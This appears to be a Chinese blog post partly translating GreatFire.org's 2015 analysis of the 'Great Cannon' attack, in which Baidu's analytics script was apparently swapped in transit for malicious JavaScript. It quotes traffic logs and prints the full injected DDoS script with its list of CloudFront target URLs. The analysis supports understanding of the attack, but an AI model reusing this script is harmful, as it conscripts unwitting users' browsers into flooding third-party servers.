The Great Cannon

Contents

1. 利用百度来操纵百万级电脑发起DDoS
2. 不只是一次普通的攻击
3. 流量源在哪里
4. 寻找恶意代码
5. 神秘的时间戳
6. “urlQuery.net”看见了恶意代码
7. 注入代码
8. 百度分析代码被用来攻击
1. 8.1. 时间戳
2. 8.2. 目标
9. 窜改发生在哪里

　　听说在GFW之外我们又有一个大杀器GreatCannon，好奇之下找了一篇文章翻翻，顺便部分翻译了一下。

　　看完之后的感受是，所谓GreatCannon不过是利用了独有的资源，并没啥高精尖的东西，不过，了解人家分析日志的追踪攻击的过程还挺有意思，当作一次了解运维和安全的机会吧。

利用百度来操纵百万级电脑发起DDoS

　　通过在诸如Amazon的Clound Front这样的大型CDN上部署一组在线镜像站点，GreatFire.org工程成功地解除中国国内对一些站点的屏蔽。

　　2015-3-18,项目网站报道前一天遭受了大规模的DOS攻击。这篇文档详细介绍了这次有史以来最大规模的应用层了攻击是如何实施的。

　　攻击者实现了一种隐秘机制来操作大量的合法流量，境内或境外，来发起和操纵DDOS攻击反审查项目CloundFront和GreatFire.org项目。

文档揭示了

访问中国数千网站的全球用户被随机收到恶意代码来实施攻击。

当正常用户加载以下百度服务器dup.baidustatic.com, ecomcbjs.jomodns.com, cbjs.e.shifen.com, hm.baidu.com, eclick.baidu.com, pos.baidu.com, cpro.baidu.com and hm.e.shifen.com的资源时，恶意代码以JavaScript的形式发送。

百度的分析代码h.js被替换成恶意代码触发攻击。

恶意代码被无差别地发送给全球任何用户，唯一的目的即发起到CloundFront和GreatFire的攻击

百万级的用户成为攻击目标，转而攻击Amazon的基础设施

窜改发生在来自中国以外的流量访问百度服务器时

不只是一次普通的攻击

　　18日查看攻击网站的日志，GreatFire在Amazon设施上运行若干镜像站，日志数量很大，我们决定在前一小时内查看“d19r410x06nzy6.cloudfront.net”的日志。

　　调查试图从500个日志，1亿请求中查找线索，以下是一个请求的样本：

2015-03-18 11:52:13 JFK1 66.65.x.x
GET /?1425369133
http://pos.baidu.com/wh/o.htm?ltr=https://www.google.com/&cf=u
Mozilla/5.0 (Linux; Android 4.4.4; SM-N910V Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 
2015-03-18 11:52:13 JFK1 71.175.x.x
GET /?1425369133
http://www.17k.com/chapter/471287/1 7884999.html
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/4

　　第一个请求告诉我们18日，一台IP为66.65.x.x的电脑发送了一个Get请求(?1425369133)内容，它由一个在百度中探索google的请求中重定向而来。这个请求被amazon的NY服务器路由进入中国。

　　日志显示攻击是由分布在全球的电脑发起的，用海量的GET /?142xxxxxxx请求洪泛服务器。

　　超1千万散布全球的台电脑发送了位于CloundFront的CreatFire服务器，每台电脑只发送了相对较小数量的请求，每小时约1-50个。

　　请求中像是包含一个时间戳，用于生成一个唯一的随机数，调查后发现时间戳与流量源的时区有关。

流量源在哪里

　　Amazon的WEb服务器用最近的国际机场的IATA码命名Edge位置, 日志中的这则信息帮助我们理解了发起这次攻击的电脑的分布。其中70%都在意料中，让人意外的是30%的Edge均匀地散布了全球。

　　日志另一有趣的方面是攻击像是在用户访问一个金字塔式的不同站点时生成的。但是9000站点中38%包含了一个或多个百度资源的链接。

　　19日我们总结出大多数攻击都是由位于全球的中文用户发起的，在不知情的情况下他们在访问中国站点时发起了对CloundFront和GreatFire的攻击。

寻找恶意代码

　　寻找恶意代码是直接的挑战。我们连接了所有可能触发攻击的网站，但两天内一无所获。20日我们找到了第一条线索告诉我们方向是正确的。Google（Cache）在爬sites: http://www.sctv.cn和http://china.cankaoxiaoxi.com站点时，像是检索了恶意代码。

　　我们集中精力查看上述站点的数十个JavaScript，但是毫无恶意代码的踪迹。

神秘的时间戳

　　第四天的讨论分析，我们调查了1亿个收集的时间戳。我们把每个Amazon CDN Edge中日志中的时间戳规范化，像是Unix的公元计时。

　　毫无疑问，时间戳是在用户浏览器中计算出的，并且包含一个21600秒的偏移。

　　这个标号稍后将成为标识恶意代码和攻击者的基础。

“urlQuery.net”看见了恶意代码

　　“Urlquery.net”是一个检测和分析网页恶意软件的服务。网站提供了浏览器在访问一个站点时会有哪些动作的详细信息，供进一步的分析。

　　我们搜索了“Urlquery.net”，期望它保存了恶意代码，然后我们发现了一份似乎支持我们的假设的有趣的报告。接近百度服务器的“某事物”在用户访问各种网站时向其发送了恶意攻击代码。
http://urlquery.net/report.php?id=1426672633782

　　报告显示，访问http://zhao.juji123.com时，触发了指向位于cloundFront中站点的请求：

GET /?1425380211HTTP/1.1
Host: d14qqseh1jha6e.cloudfront.net
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET C
Accept: text/plain, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://pos.baidu.com/wh/o.htm?ltr=&amp;cf=u
Origin: http://pos.baidu.com

　　接下来我我们尝试了连接http://pos.baidu.comand http://dup.baidustatic.com的一轮测试，依然没有结果。

　　我们联系了urlQuery.net，他们查看了一些关于百度服务器的出访cloudfront中网站的报告。在一些随机的响应中有一个非常与众不同的响应。

HTTP/1.0 200 OK
Content-Type:text/javascript
Server: Apache
Content-Length: 1325
Connection: keep-alive

　　一些响应像来来自幽灵Aapche服务器。

　　以123.125.65.120的ip访问百度服务器和以下域名dup.baidustatic.com, ecomcbjs.jomodns.com and cbjs.e.shifen.com确实有时会返回预期之外的响应。

　　同样的行为也会在以hm.baidu.com and hm.e.shifen.com域名访问61.135.185.140时出现。

　　幸运的是，urlQurty保存了这些恶意代码。

注入代码

　　触发攻击的Javascript代码很可能是由位于中国基础设施中的透明代理在合法流量连接百度服务器时注入的，恶意代码在h.js中。

百度分析代码被用来攻击

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>"); 
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>"); 
startime = new Date().getTime(); 
var count = 0; 
function unixtime() { 
    var dt = new Date(); 
    var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000; 
    return ux; 
} 
url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net", 
        "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net") 
NUM = url_array.length; 
function r_send2() { 
    var x = unixtime() % NUM; 
    var url = url_array[x]; 
    get(url); 
} 
function get(myurl) { 
    var ping; 
    $.ajax({ 
url: myurl + "?" + unixtime(), 
dataType: "text", 
timeout: 10000, 
cache: true, 
beforeSend: function() { 
requestTime = new Date().getTime(); 
}, 
complete: function() { 
responseTime = new Date().getTime(); 
ping = Math.floor(responseTime - requestTime); 
if (responseTime - startime < 300000) { 
    r_send(ping); 
    count = count + 1; 
} 
} 
}); 
} 
function r_send(ping) { 
    setTimeout("r_send2()", ping); 
} 
setTimeout("r_send2()", 2000);

　　代码中包含一些与众不同的指纹确认就是这段代码触发了大规模攻击。

时间戳

　　时间戳是unixtime()生成的，代码作者犯了一个错误，他误用了getDay()当作getDate()来获取月份中的日期。3月18日GetDay()会返回3,因为是星期三，这就解释了为何我们收到的时间戳会有15天的偏移，这个Bug告诉我们找对了代码！

function unixtime() { 
 var dt = new Date(); 
 var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000; 
 return ux; 
}

目标

　　代码中包含了一个到cloundfront的目标列表，url: myurl + "?" + unixtime() 也符合Get Flooding中的指纹。

1
2

url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net", 
"https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net")

窜改发生在哪里

　　我们调查了将流量路由向这些包含恶意代码的站点的自动系统，以下ASN可以访问指向百度站点的流量。

　　这是一个会发送DDoS启动器的IP和URL列表：

AzYet's Notebook

Just writing some notes as memo, nothing complicated.